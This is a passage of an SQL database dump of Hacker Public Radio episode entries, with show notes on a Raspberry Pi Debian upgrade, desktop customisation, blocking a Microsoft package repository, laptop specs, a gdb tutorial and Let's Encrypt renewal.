target=\"_blank\">https://en.wikipedia.org/wiki/SQL</a></li>\r\n<li>ABAP: <a href=\"https://en.wikipedia.org/wiki/ABAP\" target=\"_blank\">https://en.wikipedia.org/wiki/ABAP</a></li>\r\n<li>SAP NetWeaver: <a href=\"https://en.wikipedia.org/wiki/SAP_NetWeaver_Application_Server\" target=\"_blank\">https://en.wikipedia.org/wiki/SAP_NetWeaver_Application_Server</a></li>\r\n<li>Rust: <a href=\"https://rust-lang.org\" target=\"_blank\">https://rust-lang.org</a></li>\r\n<li>Occam: <a href=\"https://en.wikipedia.org/wiki/Occam_(programming_language)\" target=\"_blank\">https://en.wikipedia.org/wiki/Occam_(programming_language)</a></li>\r\n<li>C: <a href=\"https://www.iso.org/standard/74528.html\" target=\"_blank\">https://www.iso.org/standard/74528.html</a></li>\r\n<li>Foreign Function Interface: <a href=\"https://github.com/libffi/libffi\" target=\"_blank\">https://github.com/libffi/libffi</a></li>\r\n<li>Cracking Codes with Python: <a href=\"https://inventwithpython.com/cracking\" target=\"_blank\">https://inventwithpython.com/cracking</a></li>\r\n<li>CUDA: <a href=\"https://developer.nvidia.com/cuda-GPUs\" target=\"_blank\">https://developer.nvidia.com/cuda-GPUs</a></li>\r\n</ul>\r\n\r\n\r\n',384,111,1,'CC-BY-SA','Programming languages, Legacy, old stuff, new stuff, hipster languages, coffee',0,0,1),
(3268,'2021-02-10','Video Game Review - Ark Survival Evolved',532,'Enigma reviews Ark survival evolved','<p>\r\nEnigma reviews <a href=\"https://ark.gamepedia.com/ARK_Survival_Evolved_Wiki\"> Ark Survival Evolved </a>, a multiplayer survival game for the xbox, PC and ps4 <br>\r\n<br>\r\nCome chat with us at irc.freenode.net #hackerexchange <br>\r\nFollow me on twitter @Ed_N1gma\r\n</p>',39,0,1,'CC-BY-SA','video, game, reviews',0,0,1),
(3272,'2021-02-16','In GNU/Linux, there is no \"diversity\", we\'re all just data.',1032,'How I experienced GNU/Linux and the topic of \"diversity\".','<p>I\'m just Some Guy On The Internet.</p>',391,0,1,'CC-BY-SA','GNU/Linux, GNU/Linux diversity',0,0,1),
(3273,'2021-02-17','Embrace Firefox',853,'That\'s Our Browser!','<pre>\r\nHPR.config\r\n\r\nName: \"Darwin\"\r\nHandle: \"Some Guy on the Internet\"\r\nOccupation: \"Loiter on the Internet\"\r\nHobby: \"Freedom\"\r\n\r\nTitle: \"Embrace Firefox\"\r\nSummary: \"That’s Our Browser!\"\r\n</pre>',391,0,1,'CC-BY-SA','Some Guy on the Internet, Darwin, Firefox',0,0,1),
(3266,'2021-02-08','Upgrading Debian on my raspberry pi',2001,'In this episode I cover the process of upgrading Debian from Jessie 8 to Stretch 9 on my raspberrypi','<h1 id=\"pi13-upgrade-from-jessie-8-to-stretch-9---performed-151220\">Pi13 upgrade from Jessie 8 to Stretch 9 - performed 15/12/20</h1>\r\n<h2 id=\"history\">History</h2>\r\n<p>Upgraded my raspberry pi 13, which I think had a minimal install Raspbian, Debian i.e. has no desktop installed. The Pi had a PiFaceIO board installed, <a href=\"https://hackerpublicradio.org/eps.php?id=2901\">refer to my previous HPR episode Hpr2901</a></p>\r\n<h2 id=\"backup-process-in-case-something-went-wrong\">Backup process, in case something went wrong</h2>\r\n<p>I first moved all the unnecessary files to free up as much space as possible</p>\r\n<p>Shrunk the Pi partition on the installed 128GB SD card down to 25106MB (24.52GB), (25708544K), 26,325,549,056 bytes using partition magic</p>\r\n<p>I calculated that this would be 51,417,088 blocks of 512 bytes</p>\r\n<p>I used <code>dd</code> to make an image file and grabbed some unallocated space after partition by using count=55417088, refer to the command below</p>\r\n<pre><code>sudo dd if=/dev/sdb of=/home/stuart/pi-13-img-backup.img bs=512 count=55417088</code></pre>\r\n<p>I used the following command to image files to a spare 64GB SD card</p>\r\n<pre><code>sudo dd if=/home/stuart/pi-13-img-backup.img of=/dev/sdb bs=512 status=progress</code></pre>\r\n<p>I then expanded the partition to fill the full 64GB of the card</p>\r\n<p>Booted from the 64GB card to make sure that I had a backup in case anything went wrong</p>\r\n<p>Removed the 64GB card which I can go back to if things don\'t work out</p>\r\n<p>Booted from 128GB card and expanded the partition using Gparted to fill 128GB SD card</p>\r\n<p>I used the 128GB SD card to perform the upgrade, remember I have 64GB card to fall back on if things go wrong</p>\r\n<h2 id=\"upgrade-process\">Upgrade process</h2>\r\n<p><a href=\"https://www.datenreise.de/en/raspberry-pi-raspbian-update-update-jessie-to-stretch/\">Source of information below</a></p>\r\n<p>Step 1: Check available disk space</p>\r\n<p>In order to update to Raspbian Stretch, there must be enough space on the SD card. Therefore you should check the available and used disk space usage first:</p>\r\n<pre><code>$ df -h</code></pre>\r\n<p>Step 2: Check package status</p>\r\n<p>You must also check that all packages are in a state that is suitable for upgrade. The following command displays all packages that have the status semi-installed or configuration failed, and those with error status:</p>\r\n<pre><code>$ sudo dpkg --audit\r\n$ sudo dpkg --get-selections | grep hold</code></pre>\r\n<p>Step 3: Update system</p>\r\n<p>Before upgrading, the Raspbian should be completely updated:</p>\r\n<pre><code>$ sudo apt-get update\r\n$ sudo apt-get upgrade\r\n$ sudo apt-get dist-upgrade</code></pre>\r\n<p>Step 4: Modify Release</p>\r\n<p>For upgrading to the new Raspbian version, the package lists must be adapted to the \"Stretch\" release. To do this, only the word \"jessie\" has to be replaced by \"stretch\". In order not to overlook any position, we simply let the replacement be done by the following command:</p>\r\n<pre><code>$ sudo sed -i /deb/s/jessie/stretch/g /etc/apt/sources.list\r\n$ sudo sed -i /deb/s/jessie/stretch/g /etc/apt/sources.list.d/*.list</code></pre>\r\n<p>Step 5: Updating package lists</p>\r\n<p>The new package lists must then be updated and imported:</p>\r\n<pre><code>$ sudo apt-get update</code></pre>\r\n<p>Step 6: Update to \"Stretch\"</p>\r\n<p>Now we are ready to start the upgrade:</p>\r\n<pre><code>$ sudo apt-get upgrade\r\n$ sudo apt-get dist-upgrade</code></pre>\r\n<p>Step 7: Clean up installation</p>\r\n<p>Old, unnecessary packages are removed after the system update with the following commands:</p>\r\n<pre><code>$ sudo apt-get autoremove\r\n$ sudo apt-get autoclean</code></pre>\r\n<h2 id=\"what-was-reported-during-upgrade\">What was reported during upgrade</h2>\r\n<h3 id=\"repo-for-get_iplayer-no-longer-available-so-had-to-comment-them-out.-on-my-pi-these-were-located-at-the-following-location.\">repo for get_iplayer no longer available so had to comment them out. On my Pi these were located at the following location.</h3>\r\n<pre><code>/etc/apt/sources.list.d/packages.hedgrows.org.uk.list</code></pre>\r\n<h3 id=\"change-to-lsb_release-command\">change to lsb_release command</h3>\r\n<p>The lsb_release command no longer worked so after the upgrade I could not use it to check what version of Debian I was running.</p>\r\n<p><a href=\"https://linuxconfig.org/check-what-debian-version-you-are-running-on-your-linux-system\">Link to alternative methods to check installed Debian version.</a></p>\r\n<p>I chose the following method</p>\r\n<pre><code>cat /etc/os-release</code></pre>\r\n<h3 id=\"bashrc---kept-my-original-file\">.bashrc - kept my original file</h3>\r\n<p>Something about /etc/login.defs &amp; /etc/login.defs.dpkg-new</p>\r\n<h3 id=\"lots-of-changes-in-new-version-of-ssh\">lots of changes in new version of ssh</h3>\r\n<p>Something was mentioned about apt hashes sha1 weak \"yes\" &amp; apt hashes ripe-md/160 weak \"yes\"</p>\r\n<p>Something about ~/.ssh/authorized_keys &amp; ~/.ssh/authorized_keys2</p>\r\n<p>Something about key length and accepted key types</p>\r\n<h2 id=\"what-went-wrong-after-the-upgrade\">What went wrong after the upgrade</h2>\r\n<h3 id=\"mocp-wouldnt-run\">mocp wouldn\'t run</h3>\r\n<p>I had to modify my config file in .moc folder I added the following line near the top of the file</p>\r\n<pre><code>ALSAStutterDefeat = no</code></pre>\r\n<p>In my .moc folder I had to also modify the my_keymap file at line 82. I think the next_search option is not available in the new version of moc 2.6-alpha3 installed with Debian Stretch. I commented out the following</p>\r\n<pre><code>#next_search =          ^g ^n</code></pre>\r\n<h3 id=\"pifacedigitalio-test.py-reported-an-error\">pifacedigitalio test.py reported an error</h3>\r\n<p>multiple errors reported last line of error was:-</p>\r\n<pre><code>pifacedigitalio.core.NoPiFaceDigitalDetectedError: No PiFace Digital board detected (hardware_addr=0, bus=0, chip_select=0)</code></pre>\r\n<p>I changed the first line of my python script</p>\r\n<p>from</p>\r\n<pre><code>#!/usr/bin/env python</code></pre>\r\n<p>to</p>\r\n<pre><code>#!/usr/bin/env python3</code></pre>\r\n<p>This removed the original error. I stupidly thought this had solved the problem so I went about converting my script to run with Python 3 only to find at the end once I had correct everything that I ended up with the same original error.</p>\r\n<h2 id=\"how-i-solved-the-pifacedigitalio-test.py-reported-error\">How I solved the pifacedigitalio test.py reported error</h2>\r\n<p><a href=\"https://www.raspberrypi.org/forums/viewtopic.php?t=196248\">The problem was solved by looking at this post</a></p>\r\n<p>According to the post it had something to do with the SPI serial speed changing from 500Khz to 125Mhz</p>\r\n<p>Problem was solved by modifying a file spi.py</p>\r\n<p>I found the location of the file by using the following command</p>\r\n<pre><code>find / -iname spi.py</code></pre>\r\n<p>The files were located at</p>\r\n<pre><code>/usr/lib/python2.7/dist-packages/pifacecommon/spi.py\r\n/usr/lib/python3/dist-packages/pifacecommon/spi.py</code></pre>\r\n<p>I created a copy of the original file and called it spi.py.bak</p>\r\n<p>I only modified the file in python2.7 as my program test.py runs in python2.7</p>\r\n<p>I added a comma to the end of line 68 and added the following line to line 69</p>\r\n<pre><code>speed_hz=ctypes.c_uint32(15000)</code></pre>\r\n<h2 id=\"ssh-from-pifacecad-stopped-working\">SSH from pifacecad stopped working</h2>\r\n<p>My Raspberry pi \"Pi10\" downstairs would not SSH into my Pi13 server upstairs This made it impossible for me to remotely start and stop podcasts and audiobooks playing on my Pi13 upstairs.</p>\r\n<p>This happened because the downstairs Pi10 had DSA and RSA keys and it was using DSA keys to ssh into Pi13. I found this by looking at /var/logs/auth.log on Pi13 The log reported</p>\r\n<pre><code>userauth_pubkey: key type ssh-dss not in PubkeyAcceptedKeyTypes</code></pre>\r\n<h2 id=\"ssh-from-eeepc-stopped-working\">SSH from EEEPC stopped working</h2>\r\n<p>Was not able to SSH into Pi13 from EEEpc</p>\r\n<p>My EEEPC netbook only had DSA keys and that is what it was using to try and SSH into Pi13 I generated new RSA keys and added them to Pi13, this solved the problem and allowed me to ssh into Pi13 from the EEEpc</p>\r\n',201,0,1,'CC-BY-SA','Linux, Distros, Raspberry Pi, Debian',0,0,1),
(3274,'2021-02-18','My Custom dwm Setup',2159,'Me talking about how I\'ve customised dwm, added and removed patches and written various scripts.','<ul>\r\n<li>Intro - video on yt, audio on hpr <a href=\"https://youtu.be/EMFMyxYch14\">https://youtu.be/EMFMyxYch14</a></li>\r\n<li>Who am I? arfab, clearnitesky, trumpetplanet</li>\r\n<li>my email has changed since my first hpr episode - thanks lavabit!</li>\r\n<li>You can now use hello@richcolq.xyz</li>\r\n<li>My previous episode was <a href=\"https://hackerpublicradio.org/eps.php?id=0618\">0618</a></li>\r\n</ul>\r\n<ol type=\"1\">\r\n<li>Story of ricing my own desktop:\r\n<ul>\r\n<li>Always been into customising look/feel, never satisfied</li>\r\n<li>Found Luke Smith and liked i3, made own version.</li>\r\n<li>Pandemic hits! Started learning Python, JavaScript but had no real use for them...</li>\r\n<li>Made a website (inspired by disconnecting from social media)</li>\r\n<li>check out <a href=\"https://richcolq.xyz\">richcolq.xyz</a> and <a href=\"https://github.com/clearnitesky\">github.com/clearnitesky</a></li>\r\n</ul></li>\r\n<li>What programs am I using?\r\n<ul>\r\n<li>dwm (obviously)</li>\r\n<li>dmenu</li>\r\n<li>st</li>\r\n<li>surf / brave</li>\r\n<li>sxhkd - various short cuts sorted by purpose</li>\r\n<li>dunst</li>\r\n<li>sxiv/feh</li>\r\n<li>zathura</li>\r\n<li>my status stuff using dwmstat script</li>\r\n<li>a look in <code>~/.local/bin</code></li>\r\n<li>I recently learned about awk and rewrote all icon scripts which is what inspired me to record this episode.</li>\r\n</ul></li>\r\n<li>What next?\r\n<ul>\r\n<li>Is it necessary to patch dwm? Probably not.<br />\r\nI\'ve come to believe that the real value in these experiments has come from my custom status scripts and keyboard shortcuts - not from patching new features into dwm. It does what I need it to (manage windows!)</li>\r\n</ul></li>\r\n<li>Thanks for watching!</li>\r\n</ol>\r\n',138,0,1,'CC-BY-SA','dwm, suckless, linux, bash, cli',0,0,1),
(3276,'2021-02-22','Deepgeek\'s thoughts about HD Radio',612,'Klaatu reads a post by Deepgeek','<p>\r\nDeepgeek\'s thoughts about HD radio.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://hdradio.com/broadcasters/engineering-support/high-quality-consistent-multicast-engineering/\" target=\"_blank\">multicast chart</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Sacd\" target=\"_blank\">en.wikipedia.org&#47;wiki&#47;Sacd</a></li>\r\n<li><a href=\"https://traffic.libsyn.com/secure/textfiles/Jason_Scott_Talks_His_Way_Out_Of_It_-_Episode_120.mp3\" target=\"_blank\">Jason Scott episode 120</a></li>\r\n</ul>\r\n\r\n',73,99,0,'CC-BY-SA','radio',0,0,1),
(3277,'2021-02-23','Microsoft in my Debian repo',272,'microsoft, raspberry pi, bash, script','<h2 id=\"raspberry-pi-foundation-added-vscode-repo-to-raspberry-os.\">Raspberry pi foundation added vscode repo to raspberry OS.</h2>\r\n<p>Raspberry Pi OS\'s tried:</p>\r\n<ul>\r\n<li>Raspberry Pi OS<br />\r\n<a href=\"https://www.raspberrypi.org/software/\" class=\"uri\">https://www.raspberrypi.org/software/</a></li>\r\n<li>Debian 10<br />\r\n<a href=\"https://raspi.debian.net/\" class=\"uri\">https://raspi.debian.net/</a></li>\r\n<li>Fedora 33<br />\r\n<a href=\"https://fedoraproject.org/wiki/Architectures/ARM/Raspberry_Pi#Downloading_the_Fedora_ARM_image\" class=\"uri\">https://fedoraproject.org/wiki/Architectures/ARM/Raspberry_Pi#Downloading_the_Fedora_ARM_image</a></li>\r\n</ul>\r\n<p>To try later:</p>\r\n<ul>\r\n<li><p>Arch for Arm<br />\r\n<a href=\"https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4\" class=\"uri\">https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4</a></p></li>\r\n<li><p>TPLink dongle. Actually, it has a 6-7 inch antenna for greater range.<br />\r\n<a href=\"https://www.amazon.com/Wireless-desktop-10-9-10-14-Archer-T2U/dp/B07P5PRK7J/\" class=\"uri\">https://www.amazon.com/Wireless-desktop-10-9-10-14-Archer-T2U/dp/B07P5PRK7J/</a><br />\r\n<a href=\"https://github.com/aircrack-ng/rtl8812au.git\" class=\"uri\">https://github.com/aircrack-ng/rtl8812au.git</a></p></li>\r\n</ul>\r\n<pre><code>sudo apt install dkms\r\n\r\ncd rtl8812au\r\n\r\nsudo make dkms_install</code></pre>\r\n<h2 id=\"references.\">References.</h2>\r\n<ul>\r\n<li><p>Gardiner Bryant (The Linux Gamer)<br />\r\n<a href=\"https://www.youtube.com/watch?v=TuYPIohzo2Y\" class=\"uri\">https://www.youtube.com/watch?v=TuYPIohzo2Y</a></p></li>\r\n<li><p>Found after this recording is a more in-depth way to remove Microsoft\'s hands from your Raspberry Pi OS.</p>\r\n<ul>\r\n<li>From Ham Radio operator KM4ACK<br />\r\n<a href=\"https://github.com/km4ack/pi-scripts\" class=\"uri\">https://github.com/km4ack/pi-scripts</a><br />\r\n<a href=\"https://raw.githubusercontent.com/km4ack/pi-scripts/417aaf3a9347c5e6a475071dcbbbe8cae68c1f75/removeMS\" class=\"uri\">https://raw.githubusercontent.com/km4ack/pi-scripts/417aaf3a9347c5e6a475071dcbbbe8cae68c1f75/removeMS</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>The following code snippet was edited for readability.</p>\r\n<pre><code>#Hold raspberrypi-sys-mods package\r\nsudo apt-mark hold raspberrypi-sys-mods\r\n\r\n#Redirect calls to packages.microsoft.com to localhost\r\nsudo echo &quot;0.0.0.0 packages.microsoft.com&quot; &gt;&gt; /etc/hosts\r\n\r\n#remove MS Key file\r\nsudo rm -vf /etc/apt/trusted.gpg.d/microsoft.gpg\r\n\r\n#create empty dummy key file\r\nsudo touch /etc/apt/trusted.gpg.d/microsoft.gpg\r\n\r\n#lock the dummy key file\r\nsudo chattr +i /etc/apt/trusted.gpg.d/microsoft.gpg\r\n\r\n#comment out vscode.list\r\nsudo sed -i &#39;s/deb/#deb/&#39; /etc/apt/sources.list.d/vscode.list\r\n\r\n#lock the vscode.list file\r\nsudo chattr +i /etc/apt/sources.list.d/vscode.list</code></pre>\r\n',318,0,0,'CC-BY-SA','microsoft, raspberry pi, bash, script',0,0,1),
(3278,'2021-02-24','A Minor Victory Against Designed-In Obsolescence',513,'Extracting a bit more life out of a device that Apple would rather have you dump','<p>The Ipad2, at over 9 years old, is unsupported with security or any other kind of updates. Few apps in the App Store will run on its old version of IOS, and that operating system cannot be upgraded.</p>\r\n<p>As far as Apple are concerned an Ipad2 should have been sent to the scrap heap years ago. If you found its 16GB of storage wasn\'t enough, you were supposed to dump it and buy a new one as you couldn\'t add more. If you found that you couldn\'t run the latest version of your favourite apps, dump it and buy a new one as you couldn\'t upgrade the operating system to the required standard.</p>\r\n<p>Is it necessary to abide by this designed-in obsolescence? Beeza inherits an Ipad2 and decides to find out if he can get any serious use out of it or whether it really does need to be dumped.</p>',246,0,0,'CC-BY-SA','Ipad, Apple, Obsolescence, IOS, Hardware',0,0,1),
(3282,'2021-03-02','HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics',1637,'I talk about the specs of the laptop and a brief upgrade.','<h1 id=\"hp-laptop-with-amd-ryzen-3-mobile-processors-with-radeon-graphics\">HP Laptop with AMD Ryzen 3 Mobile Processors with Radeon Graphics</h1>\r\n<h3 id=\"hp-laptop-info\"><strong>HP Laptop Info.</strong></h3>\r\n<ul>\r\n<li><a href=\"https://support.hp.com/us-en/document/c06620370\" title=\"HP Customer Support, Knowledge Base\">model: 14-dk1025wm</a> (I own this model)</li>\r\n<li>Product ID: 1A491UA#ABA</li>\r\n<li>\r\n<ul>\r\n<li><a href=\"https://www.walmart.com/ip/HP-14-Ryzen-3-4GB-1TB-Laptop-Silver-Google-Classroom-Compatible/580075820\" title=\"HP Laptop - 14-dk1025wm\">Walmart Link 01</a></li>\r\n<li><a href=\"https://www.walmart.com/ip/HP-14-Ryzen-3-4GB-128GB-Laptop-Silver-Google-Classroom-Compatible/779578906\" title=\"HP Laptop - 14-dk1022wm\">Walmart Link 02</a></li>\r\n</ul></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NATO_phonetic_alphabet\" title=\"Alfa, Brovo, Charlie,...you get it.\">NATO phonetic alphabet</a></li>\r\n</ul>\r\n<h3 id=\"specifications\"><strong>Specifications.</strong></h3>\r\n<ol>\r\n<li><p><a href=\"https://www.amd.com/en/products/apu/amd-ryzen-3-3250u\" title=\"AMD Ryzen 3 3250U Specifications\">AMD Ryzen 3 3250U</a> (2.6 GHz base clock, up to 3.5 GHz max boost clock, 1 MB L2 cache, 2 cores)</p>\r\n<ul>\r\n<li>CPU Cores: 2</li>\r\n<li>CPU Threads: 4</li>\r\n<li>GPU Cores: 3</li>\r\n<li>System Memory Specification: Up to 2400MHz (No need to go big, keep it simple and cheap.)</li>\r\n<li>Launch Date: 06/01/2020 (January 06, 2020)</li>\r\n</ul></li>\r\n<li><p>Memory/Ram: 4 GB DDR4-2400 SDRAM (1 x 4 GB)</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ECC_memory\" title=\"wiki\">ECC</a> Type: Non-ECC</li>\r\n<li>Form Factor: <a href=\"https://en.wikipedia.org/wiki/SO-DIMM\" title=\"wiki\">SODIMM</a></li>\r\n<li>Pin Count: 260-pin</li>\r\n<li>PC Speed: PC4-19200</li>\r\n<li><strong>Ram is upgradable</strong> (Two slots)\r\n<ul>\r\n<li>Walmart has \"Maximum RAM Supported 4 GB\" for model: 14-dk1025wm; <em>this is false information.</em></li>\r\n<li><a href=\"https://www.amazon.com/Crucial-Single-PC4-19200-SODIMM-260-Pin/dp/B01BIWKP58\" title=\"Crucial DDR4-2400\">Amazon Link 01: 8 gb SODIMM</a></li>\r\n<li><a href=\"https://www.amazon.com/Crucial-DDR4-Laptop-Memory-CT8G4SFRA266/dp/B08C56KXQJ\" title=\"Crucial DDR4-2666\">Amazon Link 02: 8 gb SODIMM</a></li>\r\n</ul></li>\r\n<li><strong>Note:</strong>\r\n<ul>\r\n<li>Installed 16 GB ram but system only accepts/recognizes 14 GB ram. Attempted two different ram manufacture type (Crucial and PNY Ram)</li>\r\n</ul></li>\r\n</ul></li>\r\n<li><p>Video graphics: <a href=\"https://www.notebookcheck.net/AMD-Radeon-RX-Vega-3-GPU.278652.0.html\" title=\"Packaged with CPU/APU\">AMD Radeon Vega 3 Graphics</a></p></li>\r\n<li><p>Hard drive: <a href=\"https://shop.westerndigital.com/products/internal-drives/wd-blue-mobile-sata-hdd#WD5000LPCX\" title=\"Western Digital Blue 2.5 hdd 5400 rpm\">1 TB 5400 rpm SATA III HDD</a></p>\r\n<ul>\r\n<li>Also includes, SATA III 6 Gb/s, <a href=\"https://bytebitebit.com/wp-content/uploads/2020/02/m2-ssd-2230-2242-2260-2280-22110.png\" title=\"images\">M.2 2280</a> Slot for additional storage.\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/Blue-NAND-500GB-SSD-WDS500G2B0B/dp/B073SBX6TY\" title=\"Amazon Link 01\">Western Digital Blue 500 GB M.2 2280 SSD.</a></li>\r\n<li><a href=\"https://www.amazon.com/Blue-NAND-500GB-SSD-WDS500G2B0A/dp/B073SBZ8YH\" title=\"Amazon Link 02\">Western Digital Blue 500 GB 2.5 inch SSD, SATA III 6 Gb/s,Up to 560 MB/s</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li><p>Wifi: Realtek RTL8821CE 802.11b/g/n/ac (1x1) and Bluetooth® 4.2 Combo.</p>\r\n<ul>\r\n<li>Open Source <a href=\"https://en.wikipedia.org/wiki/Dynamic_Kernel_Module_Support\" title=\"Noob Friendly\">DKMS</a> Drivers in <a href=\"https://ubuntu.com/\" title=\"Ubuntu\">Ubuntu</a> (and Ubuntu based <a href=\"https://www.howtogeek.com/132624/htg-explains-whats-a-linux-distro-and-how-are-they-different/\">Distros</a>).</li>\r\n</ul></li>\r\n<li><p>Battery Life: 9 hrs (Nope<a href=\"https://www.bfytw.com/\" title=\"And now you know.\">!</a>)</p>\r\n<ul>\r\n<li>Won\'t be seeing that in <a href=\"https://www.gnu.org/home.en.html\" title=\"GNU\">GNU</a>/<a href=\"https://www.linux.com/what-is-linux/\" title=\"Linux\">Linux</a>.</li>\r\n</ul></li>\r\n</ol>\r\n<h3 id=\"secure-boot\"><strong>Secure Boot!</strong></h3>\r\n<ol>\r\n<li><a href=\"https://ubuntu.com/\" title=\"Ubuntu\">Ubuntu</a> is able to boot with <a href=\"https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot\" title=\"Poor Mint\">secure boot</a> enabled.\r\n<ul>\r\n<li>Once disabled, you can load other <a href=\"https://www.howtogeek.com/132624/htg-explains-whats-a-linux-distro-and-how-are-they-different/\">Distros</a>.</li>\r\n</ul></li>\r\n</ol>\r\n',391,57,0,'CC-BY-SA','HP, Ryzen, Crucial, Western Digital, Realtek',0,0,1),
(3288,'2021-03-10','Linux Inlaws S01E25: The Grumpy Old Coders',3628,'Our heroes host an episode with an eclectic duo (not Waldorf or Statler)','<p>\r\nThis time our two heroes host an eclectic couple known as the grumpy old coders. Thomas, David, Martin and Chris\r\ndiscuss stealing, um, borrowing (and never giving back) of mottos and mascotts, programming languages including\r\nJava, Python and Rust woes and how they all arrived at podcasting. Never mind Chris revealing his true and\r\nonly heritage and other little-known secrets. Don\'t miss out on this episode for the full lowdown (never mind\r\nthe even lower down .\r\n</p>\r\n<h3>Shownotes:</h3>\r\n<ul>\r\n<li>Grumpy Old Coders: <a href=\"https://grumpy-old-coders.org\" target=\"_blank\">https://grumpy-old-coders.org</a></li>\r\n<li>The Dig: <a href=\"https://www.netflix.com/de-en/title/81167887\" target=\"_blank\">https://www.netflix.com/de-en/title/81167887</a></li>\r\n<li>Oktoberfest: <a href=\"https://www.oktoberfest.de/en\" target=\"_blank\">https://www.oktoberfest.de/en</a></li>\r\n<li>Erdinger Herbstfest (in German only): <a href=\"https://de.wikipedia.org/wiki/Erdinger_Herbstfest\" target=\"_blank\">https://de.wikipedia.org/wiki/Erdinger_Herbstfest</a></li>\r\n<li>F#: <a href=\"https://fsharp.org\" target=\"_blank\">https://fsharp.org</a></li>\r\n<li>Vulkan API: <a href=\"https://www.khronos.org/vulkan\" target=\"_blank\">https://www.khronos.org/vulkan</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','OAPs, old coders, senior citizens, Bitterfeld, communism',0,0,1),
(3283,'2021-03-03','HPR RPG Club reviews Dead Earth',3150,'Escape reality by pretending you live in a dystopia','<p>\r\nKlaatu, Beni, and Mcnalu review the tabletop RPG game <strong>Dead Earth</strong>, a game published under the <a href=\"https://www.gnu.org/licenses/fdl-1.3.en.html\" target=\"_blank\">GNU Free Documentation License (GFDL)</a>.\r\n</p>\r\n\r\n<p>\r\nNext up is <a href=\"https://paizo.com/starfinder\" target=\"_blank\">Starfinder</a>, a space-themed game using the 3.5 edition D&amp;D rules.\r\nIf you\'re interested in playing, join the Hacker Public Radio mailing list or email Klaatu at this domain.\r\n</p>\r\n\r\n\r\n',78,95,0,'CC-BY-SA','rpg, cyberpunk, post-apocalyptic',0,0,1),
(3284,'2021-03-04','Introduction to gdb',1420,'A really friendly introduction to Gnu Debugger','<p>\r\nFrustrated by gdb tutorials that are either too complicated or too simple? I think this might be an actually-useful tutorial to help you see how and why gdb can be useful.  Anyway, it\'s the path I followed to finding a use for the mysterious gdb, so maybe it will work for you.\r\n</p>\r\n\r\n<p>\r\nTo follow along with this episode, here\'s some simple yet buggy code. This compiles but crashes when run.\r\n</p>\r\n\r\n<pre><code>\r\n#include &lt;iostream&gt;\r\n#include &lt;stdlib.h&gt;  // rand\r\n#include &lt;stdio.h&gt;  // printf\r\n\r\nusing namespace std;\r\n\r\nint main () {\r\n\r\nsrand (time(NULL));\r\nint penguin = rand() % 8;\r\ncout &lt;&lt; &quot;This is a message from your friendly coder\\n&quot; &lt;&lt; endl;\r\nint kiwi = 3;\r\n\r\nprintf(\"penguin is set to is %s\\n\", penguin);\r\nprintf(\"kiwi is set to is %s\\n\", kiwi);\r\n\r\n return 0;\r\n} // main\r\n</code>\r\n</pre>\r\n\r\n<p>\r\nTo compile it and see it crash, do this:\r\n</p>\r\n\r\n<pre><code>\r\n$ g++ example.cpp\r\n$ ./a.out\r\n</code></pre>\r\n\r\n<p>\r\nTo compile it with debug symbols so you can step through it in gdb, do this:\r\n</p>\r\n\r\n<pre><code>\r\n$ g++ -g -o debugtest example.cpp\r\n$ gdb debugtest\r\n</code></pre>\r\n\r\n<p>\r\nYou can now follow along with this tutorial.\r\n</p>\r\n\r\n<p>\r\n<em>For extra credit, try compiling this with clang++ instead&#33;</em>\r\n</p>\r\n\r\n\r\n\r\n',78,84,0,'CC-BY-SA','programming, cpp, gdb, gcc',0,0,1),
(3295,'2021-03-19','Renewing a Let\'s Encrypt cert for Home Network use',195,'How to update a cert when the automatic processes don\'t work','<p>\r\nBack in <a  href=\"https://hackerpublicradio.org/eps.php?id=3289\">hpr3289 :: NextCloud the hard way</a>, I showed you how to install a Let\'s Encrypt SSL cert for use on your home network. One of the problems was the fact that the automatic renew tools won\'t work.\r\n</p>\r\n<p>\r\nToday I got a reminder email from Let\'s Encrypt and I used the exact same command to renew it as I did to create it in the first place. The tool is smart enough to know this is a renewal process. \r\n</p>\r\n<p>\r\nOne thing I forgot to do last time was to remove the <em>TXT</em> record from DNS after I was done. So I had to delete the record and wait a while for the Time To Live (TTL) to expire.\r\n</p>\r\n<p>\r\nI set about doing a check list so the next time the process can be even faster.\r\n</p>\r\n<ol>\r\n<li>Run the command <pre>certbot certonly --manual --preferred-challenges dns</pre></li>\r\n<li>Deploy a DNS TXT record under the name _acme-challenge.nextcloud.example.com</li>\r\n<li>Finish the challenge.</li>\r\n<li>When successful, remove the DNS TXT record as it\'s not needed for another two months.</li>\r\n</ol>',30,0,0,'CC-BY-SA','SSL, Let\'s Encrypt, Intranet',0,0,1),
(3566,'2022-04-04','HPR Community News for March 2022',5485,'Dave and Ken talk about shows released and comments posted in March 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3542\" target=\"_blank\">3542</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-03-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3542\" target=\"_blank\">The Worst Car I Ever Had</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3543\" target=\"_blank\">3543</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-03-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3543\" target=\"_blank\">Idle thoughts on web browsers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a 